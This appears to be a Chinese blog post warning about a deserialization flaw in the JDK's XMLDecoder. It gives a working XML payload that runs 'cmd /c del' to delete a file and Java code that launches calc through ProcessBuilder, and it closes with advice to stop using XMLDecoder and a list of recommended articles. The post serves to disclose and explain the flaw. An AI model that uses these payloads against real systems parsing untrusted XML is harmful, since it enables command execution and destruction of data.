jdk紧急漏洞,XMLDecoder反序列化攻击
昨天在公司发现了一个jdk中的XMLDecoder反序列化的漏洞,看起来很危险!下面通过两个示例来看看这个漏洞的危害!
示例1:利用XmlDecoder删除本地文件
首先来看这个xmldecoder.xml文件内容:
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder"><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="4"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>del</string></void><void index="3"><string>e:\1.txt</string></void> </array><void method="start" /></object>
</java>
再来看利用XMLDecoder解析这个xml文件的示例代码:
private static void byXmlFile() {File file = new File("E:\\xmldecoder.xml");XMLDecoder xd = null;try {xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file)));} catch (Exception e) {e.printStackTrace();}Object s2 = xd.readObject();xd.close();
}
这段代码执行后,直接删除了本地的e:\1.txt文件,相当于在命令行调用了cmd /c del e:\1.txt命令,直接删除了本地文件,相当恐怖!
示例2:利用XmlDecoder调用本地程序
private static void byXmlString() {String xml = new StringBuilder().append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>").append("<java version=\"1.8.0_151\" class=\"java.beans.XMLDecoder\">").append(" <object class=\"java.lang.ProcessBuilder\">").append(" <array class=\"java.lang.String\" length=\"1\">").append(" <void index=\"0\">").append(" <string>calc</string>").append(" </void>").append(" </array>").append(" <void method=\"start\" />").append(" </object>").append("</java>").toString();XMLDecoder xd = null;try {xd = new XMLDecoder(new ByteArrayInputStream(xml.getBytes()));} catch (Exception e) {e.printStackTrace();}Object s2 = xd.readObject();xd.close();
}
这段代码改成了用String输入源的形式,这不重要,重要的是还是利用了jdk中的XmlDecoder类来解析xml字符串。这段代码执行后,会调用出本地的计算器程序。
其中ProcessBuilder.start()的方法和Runtime.exec()方法一样,都可以被用来创建一个操作系统进程,可用来控制进程状态并获得相关信息。
ProcessBuilder的构造方法接受一个命令列表。
public ProcessBuilder(List<String> command) {if (command == null)throw new NullPointerException();this.command = command;
}
总结
Jdk中的XmlDecoder反序列化存在安全漏洞,能调用本地的应用,也能执行系统支持的命令,一旦黑客组织成命令列表攻击系统,后果不堪设想!
我只是用ProcessBuilder类演示了调用系统程序这两种案例,当然还有其他,远不止这一种攻击手段。作者看了下,这个漏洞在jdk8_0_151版本中还存在。
建议不要用JDK中的XmlDeocder类,寻求其它更安全的xml解析工具类。
求转发,紧急扩散,避免更大程度的损失!~
推荐阅读
个人珍藏最全Spring Boot全套视频教程
分享一套高级视频教程:Dubbo+Zookeeper+ActiveMQ+Redis系列
分享一套分布式架构设计高级视频教程
分享一套Hadoop全套视频教程系列
去BAT面试完的Mysql面试题总结(55道,带完整答案)
阿里高级Java面试题(首发,70道,带详细答案)
2017派卧底去阿里、京东、美团、滴滴带回来的面试题及答案
Spring面试题(70道,史上最全)
通往大神之路,百度Java面试题前200页。
分享Java干货,高并发编程,热门技术教程,微服务及分布式技术,架构设计,区块链技术,人工智能,大数据,Java面试题,以及前沿热门资讯等。
jdk紧急漏洞,XMLDecoder反序列化攻击相关推荐
- cve-2017–10271 XMLDecoder 反序列化漏洞 原理分析
目录 1.漏洞背景 2.漏洞原理分析 3.漏洞测试 环境搭建 漏洞复现 4.修复建议 1.漏洞背景 Weblogic是oracle推出的application server,由于其具有支持EJB.JS ...
- 第6篇 | Weblogic反序列化攻击不依赖日志溯源攻击时间
Part1 前言 WebLogic是美国Oracle公司出品一款中间件产品,在国内使用也比较广泛.从2015年开始至今,接连爆出过10几个可直接利用的Java反序列化漏洞,相关漏洞的原理也越来越复 ...
- 26学习渗透测试工具 Metasploit 的基本用法,包括漏洞扫描、攻击模块
Metasploit是一款广泛使用的渗透测试工具,它提供了大量的漏洞扫描.攻击模块和负载等,可以用于评估系统的安全性.下面是Metasploit的基本用法教程,包括漏洞扫描和攻击模块的使用. 漏洞扫描 ...
- Windows系统近年漏洞概况及攻击教程防御
参考:<2018年Windows平台漏洞年度报告> <burpsuite安全工具使用教程> 一.什么是漏洞? 漏洞是在硬软件,协议的具体实现或系统安 ...
- python pickle反序列化漏洞_Python反序列化漏洞
1.什么是序列化 和php的序列化一样,是把string,字典,数组,类这些数据当作字节储存 2.pickle pickle.dumps()和pickle.loads() 分别是序列化和反序列化 pi ...
- 漏洞解决方案-跨站脚本攻击
漏洞解决方案-跨站脚本攻击 跨站脚本攻击 1.风险分析 2.详细描述 3.解决方案 跨站脚本攻击 1.风险分析 跨站脚本可能造成用户信息泄露(包括我行内部行员的用户名.密码泄露),配置更改,cooki ...
- rmi 反序列化漏洞_java反序列化漏洞—被低估的破坏之王
[IT168 资讯]IT168 资讯]近日,2015年最为被低估的,具有巨大破坏力的漏洞浮出水面.在FoxGlove Security安全团队的@breenmachine 发布一篇博客中介绍了该漏洞在 ...
- 网络安全-SSRF漏洞原理、攻击与防御
目录 概述 原理 挖掘SSRF漏洞 利用技巧 攻击举例 绕过 防御 工具 参考 概述 SSRF(Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服 ...
- CVE-2014-6352漏洞及定向攻击样本分析
360安全卫士 · 2016/06/15 11:06 Author:360天眼实验室 0x00 引子 人在做,天在看. 近期360天眼实验室捕获到一例针对印度的定向攻击样本,样本利用了沙虫漏洞的补丁绕 ...
最新文章
- 谷歌机器人业务重组 花里胡哨没有用 要做实干家
- 基于visual Studio2013解决面试题之0209最大堆排序
- 330+ 个机器学习模型/库探索工具!Papers With Code 重磅推出!
- Azure VNet介绍
- 走近分形与混沌(part12)--随机过程与混沌
- C# ref跟out
- 算法-找出最近点对问题
- ARMv9刷屏 —— 号称十年最大变革,Realm机密计算技术有什么亮点?
- mysql 5.1 for linux_linux下安装mysql5.1.68
- 【英语学习】【Daily English】U14 Transportation L04 I'm going to go screen
- jquery中的过滤filter not的用法以及可以添加this
- Hibernate批量操作(一)
- 如何下载RTMP/http直播源直播视频(比尔下载器使用完整教程)
- java 双三次线性插值_双三次插值算法实现
- 入手华为云学生机体验
- 淘宝签到红包商品直达链接,如何转化为自己的链接?
- GAN在SAR图像仿真中的应用
- JAVA:实现求Median中位数算法(附完整源码)
- Android11.0(R) MTK平台添加新分区
- 完全卸载TeamViewer与重新安装TeamViewer 7(含单文件版V12主控端)